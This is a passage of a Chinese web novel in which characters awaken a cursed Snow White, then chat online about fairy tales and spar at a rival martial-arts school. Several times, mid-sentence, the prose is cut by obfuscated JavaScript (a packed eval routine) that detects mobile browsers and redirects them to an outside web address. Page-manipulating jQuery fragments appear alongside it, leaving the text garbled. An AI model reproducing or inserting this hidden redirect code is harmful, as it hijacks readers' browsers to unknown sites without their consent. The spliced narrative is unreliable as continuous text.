鲜血瞬间涌出,铺散一片,顺着盖边滴落,沾湿了花朵。 侍卫们仿佛回归了野性,一声接一声嘶吼。而国王则颤巍巍地扶着棺盖爬了起来,保持着俯撑的姿势不动。 林清原大气都不敢出,只紧张地看着眼前的一幕。 国王好似卡顿的磁带又忽然运转,他瞬间握住佩剑,反身划开了距离最近的侍卫的脖子,又在接下来的几秒内,夺走了剩下几个发疯的侍卫的性命。 最后一名发疯侍卫的身体倒下,国王扔下了佩剑,张开双手,仰头大笑。 其余没有靠近的侍卫们惊慌失措地拔出侍剑,抖着手护在胸前,生怕国王会冲过来把他们也杀了。 可是国王没有,他笑够了,便跪在了水晶棺前,贪恋地抚摸着白雪的脸。 “啊,白雪,我最爱的女儿,你真美,你是天底下最美丽的女人!” 国王不耐于隔着棺材的抚摸,他三两下就打开了棺盖,伸手触碰到了真正的白雪公主。 林清原心里一惊。国王打开棺材的方式不是正确安全的,而是仙女和男巫说的假方法! 国王手上的血污染了白雪公主洁净的脸庞,但他却变得更加兴奋,说的话都因为过度激动而有些含糊:“白雪!白雪!我爱你!我爱你啊!” 他发抖着低下头,吻上了白雪公主的唇。 林清原震惊的差点站起来,被矮人死死拉住了。 她偏头一看,矮人正眼睛充血地看着国王肆意亲吻着白雪公主,牙齿咬的嘣嘣响,却不打算上前阻止。 “别过去!就快了。” 快了?什么快了? 确实很快,只几秒过后,国王就直起了背,跪坐在棺旁。 而棺材中,缓缓坐起了白雪公主。 白雪公主闭着眼睛,脸侧的血迹更为她增添了一分妖冶的美感。 她伸出了葱白如玉的手指,轻轻攀上了国王的脸。 国王癫狂地大叫:“白雪!我最爱的白雪!” 白雪公主缓缓靠近国王的脸,国王沉醉地闭上了眼睛,脖子前倾,却又不敢太过冒犯,像是当初加冕仪式时的青涩少年。 然而这次,被授戴的不是王冠,而是撕咬。 白雪公主张口咬下了国王的一小块脑袋,连骨头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是成柳留下继续控住栋贰肆,林清原、白仙贝和比利则带着众人收集到的材料,进行安全的开棺仪式。 被打开的棺盖,在重新合上之后,又和棺材变成了完整的一体。 林清原按照仙女给出的方法,先在水晶棺的四个方向各抹上了药水,然后将磨成粉的材料均匀地撒在了棺盖上,伸出手,屈指在棺顶上敲了三下。 “白雪公主,请醒来吧。” 水晶棺开始震荡,粉末散发出黑色的光芒,被棺材吸收殆尽。 随后,棺盖从顶上碎裂,一点点碎到了尾部,“哗啦”一声,碎片四溢。 林清原下意识偏头,胳膊挡在了脸前。 等放下胳膊,就看到水晶棺盖已经消失不见了。 森林两侧的仙女和男巫在水晶棺盖破碎的一瞬间同时抬起了头,共同看向了白雪公主的棺地的方向。 男巫笑了一下:“看来是成功打开了。”他美滋滋的抱着笑话书,翻开了第二页。 仙女抚摸着身边的猫头鹰,露出了一个意味不明的微笑。 “既然水晶棺被安全打开了,国王也应该死了吧。希望王后不要太聪明,不然她要是跑了,还有点可惜呢。” 这边林清原还在思考。 水晶棺应该是彻底打开了。但是封印要怎么解? 爱,有爱就能解开。 可是要怎么找到爱、又把爱献给白雪公主呢? 或者回到最根本的:什么才是爱呢? 林清原犯了难。 如果什么都叫做“爱”,那么受到“爱情魔力”影响的那些人,是否也是用“爱”在亲吻着白雪公主呢?尽管白雪公主在十五年的成长经历中一直受苦,没有受到过关怀,但国王对她的“生身之爱”是否也还能算作“爱”?而仙女、男巫,以及矮人,对白雪公主的情感、保护,也是“爱”吗? 不对,都不是。这些是贪念、恶欲和愧疚。 掺杂了欲望的爱还是爱吗?或者说,爱如果掺杂了欲望,那它就不能被称作“爱”了吗? 林清原想不明白,白仙贝也想不明白,谁都不敢轻举妄动。 越是到最后时刻,越是要小心谨慎。 28. 现代的故事 比利坐在棺旁,难过地看着睡着的白雪公主。 它天生就聪明,在林家出生,又在林家长大,虽然没有其它兄弟姐妹,但有别的动物陪伴,并不会孤独。主人一家也一直对它很好,吃喝玩乐样样备齐,哪怕有时候贪玩犯了错,也从不会打它,只不过是当天的训练量加倍罢了。 在爱中长大的比利,也将它全部的爱尽数回给主人一家,尤其是小主人,虽然总贪吃冰淇淋,还总让它背锅,但要论起关心,小主人说第二,没人能称第一了。 自从来到了这个“故事”,比利遇到了好多事,都是它以前从没经历过的,尽管很迷茫、很慌张,它还是坚持下来了,并且最终重新找到了小主人! 小主人对它的爱没有变,它对小主人的爱也没有变。 可是再之后,它听到了白雪公主的故事,它不能理解,为什么这个世界的恶意会这么大?为什么要如此折磨她?为什么她不能得到爱? 白雪公主沉静地躺着,仿佛什么事都没有发生,可她脸上、身上的污秽血迹又刺的扎眼,看着痛心不已。 比利伸出舌头,舔去白雪公主脸上、嘴上的血,想尽自己的努力帮她做些什么。 林清原吓得一把抱住了比利,紧张地看向白雪公主。 好在,什么事都没发生。 林清原松了口气,抱紧怀中的比利,刚想说话,就听到白仙贝喊她: “小鹤,你看白雪公主……” 白雪公主的眼睫微微颤动了几下,然后猛地恢复了呼吸,剧烈地咳嗽了几声,一块苹果从口中被吐出。 随着毒苹果的离开,白雪公主睁开了她的眼睛,目光直直的锁定在了比利身上。 林清原顿感不妙,抱着比利一步步后退,也让白仙贝和矮人赶快离开。 白雪公主眼也不眨,黑色光芒乍现,从胸口处绽开,带着她慢慢飘了起来。 下一瞬,一道黑色光芒就直直的从白雪公主手中射向比利。 林清原急忙用出了飞鹤腿第八式,翘羽旋——双脚以极快的速度交叉侧踏,带动着整个身子迅速旋转。 她的速度比起以前大有进步,这一招使出,甚至能看到残影。 黑色光线射入了后方的树干,一下子将树灼出了一个大洞。 林清原放下比利,让它先逃,然而白雪公主不会这么轻易的放过在场的每一个生物。 黑色光芒不间断的释放,人们疲于奔命。 不过林清原无意间发现古剑可以阻挡这黑色光芒,于是以她为中心,形成了一个保护圈,大家都躲在了她的身后。 矮人呼唤着白雪公主的名字,想唤醒她的神智,或是平息她的怒火。 可是攻击没有停止。 矮人突然冲了出去。黑色光芒贯穿了他。但他却不肯停下向前跑动的脚步,他颤巍巍地从口袋中掏出了一条红丝带,递给白雪公主。 “白雪……”他吐出大口大口的鲜血,“这是你小时候,我挂在你摇床前的那根红丝带……我不是好哥哥,我没有保护好你,对不起……” 他拼尽全身力气将红丝带搭在了白雪公主的手上。 不过他倒下了,红丝带也飘落在了地上。 白雪公主停下了攻击。 她低头看着脚下这个畸形的矮人,和他身边的那根红丝带,缓缓弯腰,将红丝带拾了起来。 “哥…哥。” 白雪公主生疏地开口,声音因为常年未说话而有些沙哑。 她看了手中的红丝带很久,然后抬头对林清原说: “水晶棺……砍掉。我……解放。” 破坏掉水晶棺,白雪公主就能彻底解放? 林清原握紧了手中的古剑,小心地靠近了水晶棺。 毒苹果在棺中闪着亮眼的光。 没错,这就是“核心”了。 林清原捡起毒苹果,然后一剑劈碎了水晶棺。接着她返回了同伴们所在的地方,让大家都能近距离接触到“核心”。 白雪公主双手交握,缓缓升空,浓重的黑色从她身上涌出,飘向四面八方。 “以我之名……清洗世界……” 白仙贝尖叫一声,抱着脑袋蹲下,口鼻中溢出了大量的鲜血。 一直没有痛觉的她,此刻竟然感觉到了脑袋像要炸掉般的疼痛。 成柳的情况也不容乐观,他明明没有看到白雪公主的正脸,却如同被“爱情魔力”侵蚀,一脸呆滞地朝白雪公主走去。而之前被他制住的栋贰肆此时已经昏过去了。 林清原抱住成柳的身体,比利咬住了他的衣角,总算阻止了他的前进。 “离开!快离开啊!” 林清原崩溃大吼。 可是“核心”只是散发出了更亮眼的光芒,并没有将大家带离“故事”。 黑色符文渐渐爬上成柳的身体,他爆发出了更大的力量,坚定地朝着空中的白雪公主走去。 “不能过去!” 白仙贝痛苦地拉住了成柳的手,金色的治疗之力从她身上延伸到后者的身上。 成柳僵硬地扭头,看着满脸是血的白仙贝。 在他眼中,白仙贝的脸和白雪公主的脸不停的变换,不论哪一个,都具有着非凡的吸引力。 成柳扑通跪下,抱住了白仙贝。 “核心”终于起效,白色光芒包裹住了所有“译者”。 “故事”结束,林清原最后看到,白雪公主手中握着的那根红色丝带,随着她力量的强盛,化作了一抹飞灰。 通关了“故事”的“译者”们被守在商场外的医疗团队及时接走,接受着相应的治疗。 等林清原再和同伴们联系,已经是一天后了。 【万事屋好评如潮】 【仙贝真好吃】你们看,这两天网上掀起了对童话故事的现代意义的讨论。大概是“故事”的影响。 【平心静气】我还在外面,回去了看。 【平心静气】咱们的群名怎么改成这个了? 【冰淇淋天下第一!】之前的群名就是微名,多不好找。换成这个多好看!既彰显了咱们的成果,又寄予了以后的希望! 【天下第一好狗】扭屁股.gif 【天下第一好狗】开心到转圈.gif 【天下第一好狗】恭喜发财.jpg 【平心静气】这谁?怎么在刷屏? 【冰淇淋天下第一!】哦,那是比利。它非要加群,我就把它加进来了。不过它只会发表情包和语音,无视就行了,反正它也不识字。 消息刚发出去,【天下第一好狗】就发了个长达八秒的语音。 林清原点开一听,果不其然,是比利在一展歌喉。 她把这段狗叫关掉,点开了白仙贝发的视频。 是一段很火的短视频,讲的主题是要对过去的童话故事说“不”,因为哪怕是公主,也是受压迫的、需要王子拯救的、要做贤妻良母的,而新时代的童话要宣扬新时代的女性独立。 评论区也对此展开了激烈的讨论。 林清原大致划了几下,然后在群里回复: 【冰淇淋天下第一!】@仙贝真好吃,看完了,讨论度还挺高呢。这说明故事被咱们净化成功了,大家都开始多方面思考了。 【仙贝真好吃】我觉得有些难受。这种视频感觉是把过去的童话给全盘否定了。 【仙贝真好吃】尤其是见过白雪公主后,我更觉得难受了。 【平心静气】我懂你的意思。我刚回家,也刚看完视频。 【平心静气】其实能有独立新女性的思考很好,最近这类的话题也越来越多了。不过我觉得,看问题不能脱离原来的时代,研究历史也要结合时代背景,更何况是属于时代产物的童话呢。在过去,女性就是被认为一定要贤淑、要结婚、要有操持家里的良好品德,男性也被认为是一定要强壮、勇敢、承担起家庭和社会的所有责任的。 【平心静气】但是随着时代的发展,大家的思想也逐渐发生了变化,所以有抨击以前旧思想的情况是很常见的。 过了一会儿,白仙贝依旧没有回话。 林清原想,她心里估计还在憋着气呢。 知道是一回事,但亲身经历过“白雪公主的故事” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784558|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,了解了白雪公主身上的遭遇,看到这类话题难免会想多。 虽然“故事”有各种扭曲的影响在,但一些基础的设定和走向还是没变的。 林清原把那些有名的童话故事都想了一遍,然后给白仙贝打去了电话。 白仙贝闷闷不乐的接了。 林清原浅笑一下,问她:“那些童话故事都知道吧?白雪公主、睡美人、美女与野兽、海的女儿什么的。你想想这些故事,谁是主角?” “白雪、爱洛、贝儿、爱丽儿。”白仙贝对这些童话故事很熟悉。 “对嘛,都是女孩子。所有故事的主角都是女孩子,故事也是围绕着女孩子展开的,她们勤劳、善良,会做家务是缺点吗?保持乐观的态度是缺点吗?说是需要王子拯救,其实也就最后出现了一下嘛,一笔带过的配角罢了。” “可是,你提到的睡美人,王子是劈开荆棘去拯救了她;美女与野兽,也是王子化作野兽出现了整个故事;海的女儿也是爱丽儿为了获得王子的爱才要上岸的啊。” “贝贝,那你试试不要代入性别观点呢?” “什么意思?” “睡美人中,王子历经险阻,劈开荆棘,救出睡美人,这说明他本身就是个勇敢、肯付出的好人;野兽也是虽然有丑陋的外表,前期也控制不住自己的脾气,但贝儿的善良与热心是毋庸置疑的,野兽后来也尽心帮助了贝儿很多,还在最后被围攻的时候,想的是贝儿的安危,那他也是个很棒的好人啊。 “海的女儿的故事就说法更多啦,爱丽儿救下了落水的王子,有着对岸上生活的好奇心,还有着哪怕换掉鱼尾也要上岸的坚定。而忘记了爱丽儿的王子可不是什么好人了,就是彻底的渣男嘛,渣男从古至今都有,只是有的被写进故事里了而已。 “还有,海的女儿的故事还有另一版,美人鱼一定要获得王子的爱,是因为只有人类的爱才能够让美人鱼获得一半的灵魂,获得永生,而如果失败了,会化为泡沫。小美人鱼不惧化为泡沫的危险,宁愿承受巨大的痛苦也要上岸。而在认清渣男的真面目后,也没有选择痛下杀手,而是坚持了纯真的本心,投入了海里。但是她并没有因为失去了他人的爱而化为泡沫,她的经历感动了天空的女儿,于是她们为小美人鱼创造了属于她自己的灵魂,她从此成为了天空的女儿。” 白仙贝在电话那头小声的啜泣。“真好……” 林清原语气温柔:“所以不要难过啦,那些童话故事虽然是时代的产物,但那也是属于主角、属于女孩子们自己的故事,在故事里,美好的品德应当人人都有,而男人是最微不足道的配角,只有那些同样勇敢善良的男人才能拥有戏份,不是吗?” 白仙贝破涕为笑:“我明白了。仔细想想,虽然‘故事’里的二十年的选择,二十年的痛苦……啊,不对不对,触碰禁制了。” 林清原安慰她:“别急,有什么想说的,换个说法再说。” “嗯。我本来一直很难过的,本该是自由的小鸟,却因为自己的力量和别人的恶意而昏迷,但是小鸟的力量一直没有消失,最后复仇成功也是多亏了它自己本身就有的力量……是复仇成功了没错吧?” 林清原念出“故事”的最后两句话:“‘封印的力量随愤怒生长,复仇的腥风伴世界颠覆。毁灭之后,才是新生。’这一定是复仇成功了。” 白仙贝也这么相信着:“所以最后真正拯救了小鸟的,不是什么爱,也不是小公鸟的追求,而是小鸟自己。” 林清原这才放心的挂断了电话。 然后,她就收到了群里的新消息。 【平心静气】还好吗?这类视频看着心里不开心的话,以后就别看了。他们讨论归他们讨论,咱们亲身经历过了,坚持自己的想法就好了。 【仙贝真好吃】男人不重要。会做饭、会做家务的有良好品德的男人才是好男人! 【平心静气】? 【平心静气】谢谢夸奖。下次见面给你们带些菜尝尝,我最近又新学了几道。 【天下第一好狗】(语音)60’ 林清原会心一笑,灭掉了屏幕。 29. 凌雪剑法 林清原正坐在检查室外面的椅子上刷着手机,一叠文件“唰”的一下朝她袭来。 而她头也不抬,只在快砸到的时候伸手抓了一下,文件就被稳稳的握在了手里,熟练的像是已经提前排演过很多遍。 不过这并不是排练。 文件叠的主人慌慌张张的赶来,从林清原手中接过不听话的文件,连连道歉。 “哎呦!对不起对不起,我真不知道为什么文件会突然脱手……” 林清原温和一笑:“不是你的错。我正巧处于‘不稳定期’罢了。” 即便如此,那个员工还是又道了歉,把文件死死抱在怀里了才离开。 林清原一扭头,发现王小曼已经牵着比利从检查室出来了。 王小曼笑着将比利的狗绳交给了林清原,说:“看来你的‘不稳定期’已经好很多了,能力应该也掌握的更熟练了吧。” 林清原点点头:“和猜测差不多,应该就是速度相关的了。以前我100个蛙跳要两分钟,现在只需要80秒了。” 她摸摸比利的脑袋,问:“检查怎么样?” 王小曼把检查报告递过来。 确实如比利所说,它的力量增大了,测试结果显示拉力为197.635公斤,承重为121.026公斤。 比利得意地摇晃着尾巴。 林清原先是为自家狗狗高兴,然后又略带惋惜地说:“怎么个子没长大多少呢,都能背动两个我了,我直接骑你背上,你驮着我,咱们也不用开车了。但现在骑上去,肯定我腿在地上蜷着。” 说着,她就要跨坐到比利身上。 比利打了个大大的喷嚏,身上的毛又飞掉几根。 王小曼翻开检查报告的第二页,指给林清原看。 “你就算想骑狗,最好也等到你俩的‘不稳定期’过了再说吧。你看,比利的‘不稳定源’也查出来了。” 林清原看着报告单上的一连串的lgE和kU/L,发出了一声呆傻的“啊”。 王小曼给她解释:“简单来说,就是比利它对狗毛过敏了。” 这回轮到比利发出了一声呆傻的“啊”。 林清原笑的猛锤椅子。 “哈哈哈…狗……狗毛过敏……狗对狗毛…过敏……哈哈哈哈……” 比利悲愤地长呜一声,结果呜到一半又开始猛打喷嚏。 喷嚏打的越多,狗毛飞的越多;狗毛飞的越多,喷嚏越打越多。 王小曼制止住林清原的幸灾乐祸,交给她一个单子。 “除了狗毛过敏,比利还出现了比较严重的掉毛现象,这是宠物专用沐浴液,可以有效减少掉毛。虽然这种情况会随着‘不稳定期’的结束而消失,但是在这期间还是人为干预一下比较好。一楼取药窗口交钱哦。” 林清原问:“既然这种沐浴液狗用了能有效减少掉毛,那人用了能减少掉发吗?” 王小曼看了一眼林清原的浓密长发,认真道:“不要和狗狗抢着用哦。” 在林清原牵着比利打算下楼的时候,王小曼又叫住她:“对了,古剑的检测还在进行中,应该明天才出正式报告。现在已经解析出了古剑的名字,叫‘原古’。” “好,检测结束了给我发个消息,我来取。” 取完药,带着比利坐上车了,林清原还在琢磨着古剑的名字,想从中找到一些关于古剑来历的线索,但想不出来,最后就把这名字发到了群里,让万事屋的大家一起查资料。 吃过抗敏药的比利恢复了一些精神,它裹着自己的小被子,坐在副驾驶上,惬意地吹着窗外的风。 过了一会儿,广播的内容吸引了它的注意。 是一则宣传猫粮的广告。 比利嗷呜嗷呜的叫着,林清原忙着看路,没看它。 比利气的点开爪子上带着的智能手表,往各个群里发了几条语音。 林清原的手机被新消息震得叮当响。 路口遇到红灯了,她扭头,问比利在干嘛。 结合着比利生动的表演,林清原才听懂它在说什么。 “你听到了猫粮,所以想起了你的狗粮?” 犹记当初,在还没有被UFO抓走的时候,林清原答应了比利要带它去参加狗狗全能比赛,并靠着大奖的十大包超级无敌美味狗粮大礼包彼此达成了协议,共同保守林清原偷吃冰淇淋的事。 结果后来突然被UFO抓走,出来之后不仅比利不见了,由于“故事”的“完结”和官方的介入,原定举行的“狗狗全能比赛”也取消了,冠军狗粮礼包也改为了线上售卖。 而从这次白雪公主的“故事”中出来后,比利第一天还沉浸在重新回到家里的兴奋中,掉毛也都被大家当做是太激动的原因。 第二天开始,比利的兴奋劲过了,开始询问它的狗粮礼包的事。 按它的想法,就算它不在,门内还有其他几只狗狗,虽然比不上最帅最美的它,但是拿到全能比赛第一应该也没问题。 然而出乎了狗狗的意料,这个比赛直接取消了,到嘴的狗粮大礼包飞了不说,家里竟然没有一个人想到要给它买包冠军狗粮尝尝味! 比利当即开始满山乱跑撒泼。 这一跑不要紧,直接跑出了连环喷嚏。 这一下把大家都吓到了,当天就送到了宠物医院去检查,然而它的身体并没有什么问题,只是有些过敏。 正好第三天和飞研办约的有身体检测和能力探查,于是在“不稳定期”的第三天,林清原就开车带着比利来检查了。 闹了半天,比利是想吃冠军狗粮了。 林清原很慷慨的答应了。 “好说,区区十袋,回去了就下单。” 话说出口,她才想起什么,又扭头看了比利一眼,改了口: “还是等你减肥成功了再下单吧。” 比利悲愤地蹦跶了几下,肚子上震颤的肥肉又引来了林清原的嘲笑: “瞧你那肚子上的肉,跟叠叠塔似的。你悠着点,别把车震塌了,不然以后你想去哪儿玩,都自己跑着去吧,正好当训练了。” 比利悲伤地望向窗外,风吹过柔顺的长毛,带出一阵阵愁绪。 世界那么繁华,却没有属于它的一袋狗粮。 临近中午,车子到达了目的地。 林清原停好车出来,看着新家气派的大门,赞叹了一声。 和林家那种类似于“宗门”性质的门派不同,新家更像是一个“武校”。不仅选址建在了热闹的市区,内部还有专业的分区,按学徒的水平来进行不同的专业性指导。 接待人领着林清原和比利进门之后,给她一路介绍了各区的大概情况,林清原连连点头,给足了反应。 看了一会儿,林清原好奇地问:“那新记明呢?他在哪里练功?” 接待人说:“小新老师有专门的训练地点,这会儿应该是还在训练中。” 接待人在把林清原带到新记明训练的地方后就自行离开了。 林清原牵着比利走进了院子。 院子里有一大片竹林,再走几步路,就见到了正在训练的新记明。 新记明此时正立在一根软柱上,软柱大约宽三指,高度不一,从外向内,分布随意,大致成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794731|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个圈状。 他并不是直直的立着,而是朝着剑指的方向歪靠,软柱承不住力量倒去,他便顺势踏上下一根软柱,手中的剑利落的挽了一个剑花,身体也随之变换姿势。就这么循环往复,身姿变化,剑招随出,步若点水。 林清原看的心痒痒。 这就是新家的“凌雪剑法”吗?一举一动皆似凌空踏雪,剑指之式却如顿空刺雪。 实在是漂亮! 林清原被新记明的动作吸引住了,看了好一会儿才注意到,新记明全程都是闭着眼的,只是他的步伐太过纯熟,每至边缘便重回圈内,导致一时间根本没看出破绽。 本来今天,林家受了新家的邀请来聚餐。自从上次的飞研办开会后,两家的关系逐渐“破冰”,最起码明面上的联系比以前多了一些,这次的聚餐也是为了进一步交流UFO事件。 所以林清原才会在一大早带着比利检查完身体后,就驾车来到了新家。 原本询问新记明,只是想看一下他平日里训练的地方,看看有没有什么可以借鉴到自家练功场的,谁知正好他还在训练,还练的这么漂亮。 这个意外之喜,瞬间把林清原的好胜心激起来了。 于是她提起脚步,悄悄摸到了软柱旁,在新记明又一次斜倒,将要踩上下一根软柱时,她直接一个飞步,两步点过,一脚踢上了新记明握剑的手腕。 事实上,新记明反应很快。 在林清原刚刚踏上软柱时,他便睁开了眼睛,只是林清原的速度太快,快到连她点过的软柱都几乎没怎么晃动,她的攻击便已至身边。 林清原选的时机正好,正是新记明即将借力踩上新软柱的那一刹那,所以这一击他避无可避,只来得及说了一声“林”。 但是新记明作为新家第六代少掌门,自然也不是吃素的。 他虽然被踢中了手腕,但趁剑脱手的时机,他已经踩上了新的软柱。软柱斜,他的身体也如软柱般柔软,向后倒去,硬是把踢力卸了大半,手一扬,就重新抓回了剑,反手劈向林清原。 林清原迅速向后软翻,躲过了这一击。 新记明的攻击很凌厉,林清原刚立住,还未抬头,剑尖便已指向她的肩膀。 林清原快步后撤,新记明就快速连刺。 软柱上不好保持重心,二人却姿态轻盈,如履平地。 不过几秒,林清原就退到了边缘软柱。 眼见新记明又将击来,林清原看准身侧一根略低的软柱,侧手抵住,立身就抬腿截住剑身,双腿一拧,剑就被带的旋转。 新记明当机立断,变击为搅,一招直搅,巧妙的化挣脱为进攻,林清原便也变换招数,仅凭双手抓力,双腿扑踢,每一下都刚刚好撇在剑从[注]处,打的你来我往。 两人的速度都很快,不过林清原更胜一筹。终于,她找到了空隙,一招横劈腿将剑别开,得了空闲。 然而,她还是低估了软柱的撑力。 剑是别开了,她人也被软柱带的要掉下去。 新记明岂会放过这个机会,他双腿夹柱,身体前倾,连环剑影射向林清原,成功将后者逼落了软柱。 战况就这么结束了吗?当然没有! 就在林清原松手掉下软柱后,她及时环住了软柱的下方,脚蹬上周围的柱身,硬是凭借那一点微小的反弹力一步步蹬过,缓解了落势,然后一脚踹在了新记明所攀的软柱上。 新记明本身就是头向下的姿势,这一踹,平衡不稳,软柱猛地向后扬去,一下子把他甩到了地上。 随后,林清原也摔在了地上。 胜负已分。 30. 聚餐小叙 等林清原爬起来,她看到新记明还在地上躺着,赶忙跑过去看是不是真伤到哪儿了,结果新记明眼睛闭的死死的,这可把她吓着了。 “完蛋!不会磕到脑袋了吧!” 比利坐在新记明旁边,摇着尾巴,叫了两声。 林清原翻译比利的话:“你说他没事?就是在装昏?” 林清原仔细看着新记明的脸。 一张白皙的脸此时逐渐爬上了红色,眼睛虽然在闭着,眼睫的颤动却越来越剧烈。 确实是在装昏。 俗话说,叫不醒一个装睡的人,装昏的人也是如此。 虽然新记明的脸已经红的像个猴屁股,但是任凭林清原怎么呼唤,他都铁了心的要将装昏进行到底。 没办法的林清原,只能蹲在一旁和比利说话。 “他一直不起来怎么办?” “汪汪。(放着。)” “可是差不多要去吃饭了。” “汪汪汪,汪汪。(别人会来,不用担心。)” “那刚刚他用的那些剑招,你记住了吗?” “汪。(记住了。)” “那就行,咱们回去之后可以用古剑练练,说不定还能学出来一招半式的。” “什么古剑?” 新记明装不下去了。 他万万没想到,林清原这个女人,看出他在装晕了也不走就算了,竟然还大言不惭的说要照着他用出来的那些招式偷师! “哦?小新,你醒啦,你好啊。” 林清原做出一副很惊喜的初见模样。 新记明气急败坏地起身,涨红着脸说:“不算!” “什么不算?” “林清原!你好!”他字句铿锵地打了招呼,然后说:“我在看见你的时候就打了招呼,所以是我先问候的,你后打的招呼,不算数!” 林清原回忆了一下,没记起新记明什么时候朝她打了招呼,但她并不在意这个,只觉得好笑,点了点头,说:“好,你先打的招呼。你不纠结我把你打败了,倒是纠结我先打了招呼?” 闻言,新记明紧紧抿了下嘴,才说:“这次的失败我定会下次讨回!但是招呼不一样,我确实是先打了招呼,虽然没有说完……” 林清原见他如此认真,便也认真的点了点头,伸出手,说:“好,那我再后打一个招呼。你好小新。” 新记明僵硬地握了握林清原的手尖,就收回了手。 他的脸还是红红的,但是眉头却舒展了很多。 [很好!这次终于先一步打了招呼!总算报了上一次见面时候的晚打招呼之仇!] 心情变得舒畅了的新记明,注意力转移到了一旁乖坐着的比利身上。 他看看比利,比利看看他,一人一狗陷入了沉默之中。 林清原笑了:“没关系,可以摸的。不会上嘴咬的。” 于是比利伸出了爪子,轻轻摸了摸新记明的手,开心地叫了两声。 “汪汪!(确实!)” 新记明这才反应过来林清原那句安慰的话是对狗说的。气不过的他立马伸出了邪恶的大手,疯狂揉搓着比利的狗头。 [不愧是林清原养的狗!和林清原一样会气人!不过手感还真不错……] 在大手的摧残下,狗毛纷飞,比利开启了新一轮的打喷嚏。 林清原掏出新开的喷剂,往比利的鼻子上喷了几下,它的症状瞬间缓解了。 新记明发现自己闯了祸,有些慌张的道歉:“对不起,我……这……” 林清原摆摆手:“没事,它还在‘不稳定期’,对狗毛有些过敏。平时这么揉狗头是没问题的。” 新记明将功补过,从衣服口袋里掏出了一把小梳子,半跪在地上,轻柔地帮它梳毛。 比利被新记明梳的很舒适,“呜汪”了一声,算是接受了他的道歉。 这时,院外来了新的接引人。 院子是没有门的,所以接引人直接走了进来,一眼看到了围在一起的二人一狗,然后就愣在了原地。 林家的“大师狗”正眯着眼享受着自家少掌门的梳毛服务,自家的少掌门则一改平日里的冷淡样子,梳起毛来面色温柔,隐含笑意,甚至脸上还有着没有散干净的红晕。而林家的少掌门霸气侧漏的蹲在一旁,含笑看着这一幕。 接引人一瞬间以为是看到了少年版的掌门和掌门夫人。 林清原发现了接引人,看了过来。 接引人摒弃了脑中的杂念,说了他来这的原因。 “小新老师,林少掌门,林大师狗,用餐时间快到了,新老师让我来领几位前往苑内。” 聚餐的小苑环境很好,摆了很有讲究的布景。 众人就在雅致的苑内落座。 林清原刚坐下,就听到明娇问她:“小鹤,你刚才是不是和小新切磋了?谁赢了?” 林清原犹豫了一下要不要直接客气的说是平局,新记明就已经回答了。 “她赢了。” 林征爽朗一笑,安慰道:“切磋点到为止,不论是输是赢,都是互相进步的过程。” 新志平也点点头,温和笑道:“这种切磋以后有机会可以多来点,你们年纪相仿,应该也很好找共同话题。” 两家掌门虽然平时总斗嘴,但在小辈的事上并不会互相取笑。他们都充分给予了后辈温暖的关怀。 明娇提议道:“你们俩加的有联系方式吗?没有的话加一个,私下也能多联系联系。” 于是林清原和新记明加上了联系方式。 加上之后,林清原盯着新记明的网名看了几眼,又狐疑地看了他本人几眼。 新记明疑惑:“怎么了?” 林清原嘴上说着“没什么”,心里却在感叹“人不可貌相”。看新记明的脸,以为他的名字会起什么帅气的、风雅的,结果他叫“大青原”,瞬间感觉他从都市帅小伙变成了纯朴中年男性。 用餐开始后,整体氛围还是比较愉快的。虽然林征和新志平又犯了老毛病,在那时不时互相阴阳两句,但是其他人都聊的很愉快——不太说话的新记明也充当了很好的听众。 说着说着,吕熙音和明娇的话题转到了自己小孩小时候的趣事上,他俩做过的糗事都被抖出来了。 什么林清原小时候给家里供奉的祖师爷雕像捏了个尿和的泥巴帽子啊,新记明小时候觉得穿裙子舒服所以有谁让他换成裤子就大哭不止啊,等等。 两个母亲讲的咯咯直乐,两个“小孩”都专心吃饭,装作这些事情不是自己做过的。 明娇讲的上头,说起了新记明的小名。 “小新以前的小名不叫这个。他小时候吃的胖乎乎的,还容易生病,就找了先生看过,说要起个土名,所以他的小名其实叫圆……” “妈!” 新记明大喊一声,打断了明娇的话。他往明娇的碗里夹了一大筷子菜,说:“吃菜!” 林清原被吓了一跳。 她完全忘了有新记明的存在,他就好像是突然蹦出来的。 明娇也被吓了一跳。 “哎呦,”她狠狠拍了新记明的手一下。“不要突然冒出来!你想吓死你老娘吗!” 新记明很委屈:“我一直都在这坐着啊。” 新志平也给明娇夹了一筷子菜。他替儿子说话:“小新还在‘不稳定期’,副作用也不是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比利的聪明劲儿得到了新家的一致喜爱。 明娇把比利招过来,一会儿摸摸它柔顺的长毛,一会儿摸摸它长长的嘴筒子,爱不释手。 “真好,比利找回来了。这么乖的孩子,没想到也被UFO吸进去了。” 吕熙音提起这件事就觉得很巧。 